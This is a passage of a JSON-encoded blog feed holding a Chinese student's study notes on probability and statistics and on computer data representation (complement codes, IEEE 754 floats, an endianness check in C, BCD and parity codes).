href=\"https://xeonds.github.io/2023/02/21/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%94%E7%AB%A0%EF%BC%9A%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1%E5%88%9D%E6%AD%A5/#%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5%E5%92%8C%E5%AE%9A%E4%B9%89\" class=\"headerlink\" title=\"基本概念和定义\"\u003e\u003c/a\u003e基本概念和定义\u003c/h2\u003e\u003ch2 id=\"抽样分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/21/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%94%E7%AB%A0%EF%BC%9A%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1%E5%88%9D%E6%AD%A5/#%E6%8A%BD%E6%A0%B7%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"抽样分布\"\u003e\u003c/a\u003e抽样分布\u003c/h2\u003e\u003cp\u003e就是统计量的分布,一共有四种。\u003c/p\u003e\u003ch2 id=\"参数估计\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/21/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%94%E7%AB%A0%EF%BC%9A%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1%E5%88%9D%E6%AD%A5/#%E5%8F%82%E6%95%B0%E4%BC%B0%E8%AE%A1\" class=\"headerlink\" title=\"参数估计\"\u003e\u003c/a\u003e参数估计\u003c/h2\u003e\u003ch3 id=\"点估计\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/21/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%94%E7%AB%A0%EF%BC%9A%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1%E5%88%9D%E6%AD%A5/#%E7%82%B9%E4%BC%B0%E8%AE%A1\" class=\"headerlink\" title=\"点估计\"\u003e\u003c/a\u003e点估计\u003c/h3\u003e\u003cp\u003e就是通过总体的一个样本估计总体分布中未知参数值的问题。\u003c/p\u003e\u003ch4 id=\"矩估计法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/21/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%94%E7%AB%A0%EF%BC%9A%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1%E5%88%9D%E6%AD%A5/#%E7%9F%A9%E4%BC%B0%E8%AE%A1%E6%B3%95\" class=\"headerlink\" title=\"矩估计法\"\u003e\u003c/a\u003e矩估计法\u003c/h4\u003e\u003cp\u003e就是用样本n阶矩估计的方法。\u003c/p\u003e\u003ch4 id=\"最大似然估计法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/21/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%94%E7%AB%A0%EF%BC%9A%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1%E5%88%9D%E6%AD%A5/#%E6%9C%80%E5%A4%A7%E4%BC%BC%E7%84%B6%E4%BC%B0%E8%AE%A1%E6%B3%95\" class=\"headerlink\" title=\"最大似然估计法\"\u003e\u003c/a\u003e最大似然估计法\u003c/h4\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/02/21/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%94%E7%AB%A0%EF%BC%9A%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1%E5%88%9D%E6%AD%A5/"},{"title":"计组笔记:第二章-计算机数据表示","time":"2023-02-13T04:52:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e重点是定点数和浮点数的表示。数制啥的就不说了,主要还有原码补码反码这几个。\u003cstrong\u003e下面的讨论都是对于二进制数而言的\u003c/strong\u003e,因为计算机存储的结构以二进制保存原始值。\u003c/p\u003e\u003ch2 id=\"定点数\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E5%AE%9A%E7%82%B9%E6%95%B0\" class=\"headerlink\" title=\"定点数\"\u003e\u003c/a\u003e定点数\u003c/h2\u003e\u003cp\u003e也就是小数点位置不动的数。有两种,纯整数(小数点在最右侧)、纯小数(小数点在最左侧)。分为有/无符号数,前者具有\u003ccode\u003e原码、反码、补码、移码\u003c/code\u003e四种编码表示。\u003c/p\u003e\u003cp\u003e有符号数的最高位为符号位,\u003ccode\u003e0正1负\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"原码反码和补码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E5%8E%9F%E7%A0%81%E5%8F%8D%E7%A0%81%E5%92%8C%E8%A1%A5%E7%A0%81\" class=\"headerlink\" title=\"原码反码和补码\"\u003e\u003c/a\u003e原码反码和补码\u003c/h3\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e原码:正数是其二进制本身;负数是符号位为1,数值部分取X绝对值的二进制。\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e反码:正数的反码和原码相同;负数是符号位为1,其它位是原码取反。\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e补码:正数的补码和原码,反码相同;负数是符号位为1,其它位是原码取反,未位加1。(或者说负数的补码是其绝对值反码未位加1)\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e移码:将符号位取反的补码(不区分正负)\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e补码为什么是反码加1?因为它的目的就是为了把减法运算变成加法运算。用表举例子,加上8小时就等于减去4小时(从位置上来看)。二进制也是一样,比如4位二进制数,它的模值就是16,也就是10000。因此,一个数的补就是10000减去这个数,也就是这个数的反码再加1。\u003c/p\u003e\u003ch4 id=\"补码加减法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E8%A1%A5%E7%A0%81%E5%8A%A0%E5%87%8F%E6%B3%95\" class=\"headerlink\" title=\"补码加减法\"\u003e\u003c/a\u003e补码加减法\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e在做补码加减法时,只需将符号位和数值部分一起参与运算,并且将符号位产生的进位丢掉即可\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e补码加法公式\u003cbr/\u003e  [X+Y]补 = [X]补 + [Y]补\u003c/li\u003e\u003cli\u003e补码减法公式\u003cbr/\u003e  [X-Y]补 = [X]补-[Y]补 = [X]补 + [-Y]补\u003cbr/\u003e其中:[-Y]补称为负补,求负补的办法是:对补码的每一位(包括符合位)求反,且未位加1.\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"浮点数\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E6%B5%AE%E7%82%B9%E6%95%B0\" class=\"headerlink\" title=\"浮点数\"\u003e\u003c/a\u003e浮点数\u003c/h2\u003e\u003cp\u003e类似科学计数法的表示法:$F=M\\times 2^E$,$M$称为尾数,$E$称为阶码。\u003c/p\u003e\u003cp\u003e计算机中常见的浮点数存储方式为:\u003ccode\u003e数符 阶符 阶码数值部分 尾数数值部分\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"编码表示\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E7%BC%96%E7%A0%81%E8%A1%A8%E7%A4%BA\" class=\"headerlink\" title=\"编码表示\"\u003e\u003c/a\u003e编码表示\u003c/h3\u003e\u003cul\u003e\u003cli\u003e尾数$M$必须是小数,用$n+1$位定点小数表示,可用原码、补码。\u003c/li\u003e\u003cli\u003e阶码$E$必须为整数,以$k+1$位有符号定点整数表示,可用原码、补码、移码。\u003c/li\u003e\u003cli\u003e浮点数编码位数为$m=(n+1)+(k+1)$\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"规格化浮点数\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E8%A7%84%E6%A0%BC%E5%8C%96%E6%B5%AE%E7%82%B9%E6%95%B0\" class=\"headerlink\" title=\"规格化浮点数\"\u003e\u003c/a\u003e规格化浮点数\u003c/h4\u003e\u003cp\u003e对尾数无限制可能使得存储空间利用不充分,因此使用规格化形式表示。\u003c/p\u003e\u003cp\u003e定义 将尾数(记为$M$)的绝对值限定在规定的数值范围内:$1/2 \\leq |M| \\lt 1$,这样的浮点数就是规格化浮点数。实现这一点很简单,下面的尾数以补码表示:\u003c/p\u003e\u003cul\u003e\u003cli\u003e$M \\geq 0$:$M=0.1\\times\\times\\times\\cdots\\times$\u003c/li\u003e\u003cli\u003e$M \\lt 0$:$M=1.0\\times\\times\\times\\cdots\\times$\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"浮点数溢出\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E6%B5%AE%E7%82%B9%E6%95%B0%E6%BA%A2%E5%87%BA\" class=\"headerlink\" title=\"浮点数溢出\"\u003e\u003c/a\u003e浮点数溢出\u003c/h3\u003e\u003ch3 id=\"IEEE754标准\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#IEEE754%E6%A0%87%E5%87%86\" class=\"headerlink\" title=\"IEEE754标准\"\u003e\u003c/a\u003eIEEE754标准\u003c/h3\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"left\"\u003e参数\u003c/th\u003e\u003cth align=\"center\"\u003e单精度浮点数\u003c/th\u003e\u003cth align=\"center\"\u003e双精度浮点数\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e浮点数长度\u003c/td\u003e\u003ctd align=\"center\"\u003e32\u003c/td\u003e\u003ctd align=\"center\"\u003e64\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e尾数长度$f$\u003c/td\u003e\u003ctd align=\"center\"\u003e23\u003c/td\u003e\u003ctd align=\"center\"\u003e52\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e符号位$s$\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e指数$e$长度\u003c/td\u003e\u003ctd align=\"center\"\u003e8\u003c/td\u003e\u003ctd align=\"center\"\u003e11\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch4 id=\"单精度浮点数\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E5%8D%95%E7%B2%BE%E5%BA%A6%E6%B5%AE%E7%82%B9%E6%95%B0\" class=\"headerlink\" title=\"单精度浮点数\"\u003e\u003c/a\u003e单精度浮点数\u003c/h4\u003e\u003cp\u003e$$\u003cbr/\u003eN=(-1)^S\\times 2^{e-127}\\times 1.f\u003cbr/\u003e$$\u003c/p\u003e\u003chr/\u003e\u003cp\u003eIEEE754可以表示规格化浮点数,也可以表示非规格化浮点数。它表示越接近0的数越精确,越接近正负无穷的数越不准确。\u003c/p\u003e\u003ch3 id=\"浮点数存储\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E6%B5%AE%E7%82%B9%E6%95%B0%E5%AD%98%E5%82%A8\" class=\"headerlink\" title=\"浮点数存储\"\u003e\u003c/a\u003e浮点数存储\u003c/h3\u003e\u003cp\u003e目前计算机主要推行小端存储:浮点数的四个字节从低位到高位分别存储在计算机内存地址的低位到高位。\u003c/p\u003e\u003ch4 id=\"大小端判断\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E5%A4%A7%E5%B0%8F%E7%AB%AF%E5%88%A4%E6%96%AD\" class=\"headerlink\" title=\"大小端判断\"\u003e\u003c/a\u003e大小端判断\u003c/h4\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003etype\u003c/span\u003e\u003cspan class=\"params\"\u003e()\u003c/span\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eunion\u003c/span\u003e{\u003c/span\u003e\u003cspan class=\"type\"\u003efloat\u003c/span\u003e a; \u003cspan class=\"type\"\u003echar\u003c/span\u003e b;} i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e i.a=\u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, i.b);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e如果输出1,则说明计算机是小端存储。\u003c/p\u003e\u003ch3 id=\"浮点数模型表示范围\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E6%B5%AE%E7%82%B9%E6%95%B0%E6%A8%A1%E5%9E%8B%E8%A1%A8%E7%A4%BA%E8%8C%83%E5%9B%B4\" class=\"headerlink\" title=\"浮点数模型表示范围\"\u003e\u003c/a\u003e浮点数模型表示范围\u003c/h3\u003e\u003ch4 id=\"思考题\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E6%80%9D%E8%80%83%E9%A2%98\" class=\"headerlink\" title=\"思考题\"\u003e\u003c/a\u003e思考题\u003c/h4\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/IMG_20230215_115634.jpg\"/\u003e\u003c/p\u003e\u003cp\u003e已知迷你754编码规则如上,求它的表示范围。\u003c/p\u003e\u003ch2 id=\"BCD编码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#BCD%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"BCD编码\"\u003e\u003c/a\u003eBCD编码\u003c/h2\u003e\u003cp\u003e典型的有8421码,这四个数字是位权。还有非位权码,比如余3码,格雷码等。\u003c/p\u003e\u003ch2 id=\"非数值编码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E9%9D%9E%E6%95%B0%E5%80%BC%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"非数值编码\"\u003e\u003c/a\u003e非数值编码\u003c/h2\u003e\u003cp\u003eASCII,GB2312,GBK,还有兼容Unicode-2的编码。汉字编码用了变长数据,技术上类似于霍夫曼编码。\u003c/p\u003e\u003ch2 id=\"校验码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E6%A0%A1%E9%AA%8C%E7%A0%81\" class=\"headerlink\" title=\"校验码\"\u003e\u003c/a\u003e校验码\u003c/h2\u003e\u003cp\u003e传输过程中,检验数据是否有丢失/错误的一种检验手段。\u003c/p\u003e\u003ch3 id=\"奇偶校验码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#%E5%A5%87%E5%81%B6%E6%A0%A1%E9%AA%8C%E7%A0%81\" class=\"headerlink\" title=\"奇偶校验码\"\u003e\u003c/a\u003e奇偶校验码\u003c/h3\u003e\u003cp\u003e只有一位校验位,在数据的最高位。它表示数据中包括校验位在内的位的1的个数是奇数还是偶数。前者校验位为1,后者为0。\u003c/p\u003e\u003ch3 id=\"CRC冗余循环校验码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/#CRC%E5%86%97%E4%BD%99%E5%BE%AA%E7%8E%AF%E6%A0%A1%E9%AA%8C%E7%A0%81\" class=\"headerlink\" title=\"CRC冗余循环校验码\"\u003e\u003c/a\u003eCRC冗余循环校验码\u003c/h3\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/02/13/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E8%AE%A1%E7%AE%97%E6%9C%BA%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA/"},{"title":"第二章:随机变量及概率分布","time":"2023-02-04T04:15:20Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"一维随机变量\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E4%B8%80%E7%BB%B4%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F\" class=\"headerlink\" title=\"一维随机变量\"\u003e\u003c/a\u003e一维随机变量\u003c/h2\u003e\u003cp\u003e是关于实验结果的变量。实验结果用一系列离散值表示的称为\u003cstrong\u003e离散型随机变量\u003c/strong\u003e,用连续值表示的称为\u003cstrong\u003e连续型随机变量\u003c/strong\u003e。一维表示随机变量只包含一个关于实验结果的变量。\u003c/p\u003e\u003ch3 id=\"离散型随机变量分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E7%A6%BB%E6%95%A3%E5%9E%8B%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"离散型随机变量分布\"\u003e\u003c/a\u003e离散型随机变量分布\u003c/h3\u003e\u003cp\u003e就是各个实验结果的概率分布情况。例如随机掷一个6面骰子,结果可能是1-6,而每一个结果的概率都是$\\frac{1}{6}$,即$P(X=1)=P(X=2)=\\cdots =P(X=6)=\\frac{1}{6}$。\u003c/p\u003e\u003ch4 id=\"二项分布\"\u003e\u003ca href=\"https://xeonds.github.io/2023/02/04/%E6%95%B0%E5%AD%A6/%E6%A6%82%E7%8E%87%E8%AE%BA%E4%B8%8E%E6%95%B0%E7%90%86%E7%BB%9F%E8%AE%A1/%E7%AC%AC%E4%BA%8C%E7%AB%A0%EF%BC%9A%E9%9A%8F%E6%9C%BA%E5%8F%98%E9%87%8F%E5%8F%8A%E6%A6%82%E7%8E%87%E5%88%86%E5%B8%83/#%E4%BA%8C%E9%A1%B9%E5%88%86%E5%B8%83\" class=\"headerlink\" title=\"二项分布\"\u003e\u003c/a\u003e二项分布\u003c/h4\u003e\u003cblockquote\u003e\u003cp\u003e样本趋于无穷大情况下的超几何分布可以近似看作二项分布\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e每次实验的结果只有两个,概率分别为$p$和$1-p$。这分布表示多次实验的结果分布,例如抛$n$次硬币,最终正面朝上的次数为$m$的概率就可以用二项分布表示。\u003c/p\u003e\u003ch4 id=\"泊松分布\"\u003e\u003ca 